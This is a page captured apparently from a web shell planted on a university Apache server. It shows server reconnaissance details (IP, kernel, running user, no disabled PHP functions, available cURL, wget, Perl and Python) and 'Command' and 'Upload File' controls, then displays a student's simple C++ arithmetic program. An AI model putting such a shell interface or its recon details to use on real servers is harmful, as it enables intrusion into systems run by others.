Server IP : 172.16.15.8 / Your IP : 18.117.166.193 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /tmp/../home/cjabbott/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// File Name: numbers.cpp // Author: Christie Abbott // Instructor: Dr. John Wang // Due Date: Sept. 19, 2007 // Compiling: g++ numbers.cpp -o numbers.out // Execution: ./numbers.out // // Goal: This program will read two positive numbers and output their operations for addition, subtraction, multiplication, and division. #include <iostream> #include <iomanip> using namespace std; int main() { // 1. var. decl. float a, b, add, sub, mult, div; cout << fixed << showpoint << setprecision(1); // input cout << "Input the first number: (-1 to quit): "; cin >> a; while( a > 0) { cout << "Input the second number: "; cin >> b; // computing add = a + b; sub = a - b; mult = a * b; div = a / b; // out cout << "The sum of the two numbers is: " << add << '\n'; cout << "The difference of the two numbers is: " << sub << '\n'; cout << "The multiplication of the two numbers is: " << mult << '\n'; cout << "The division of the two numbers is: " << div << endl; cout << "Input the first number: (-1 to quit): "; cin >> a; } return 0; }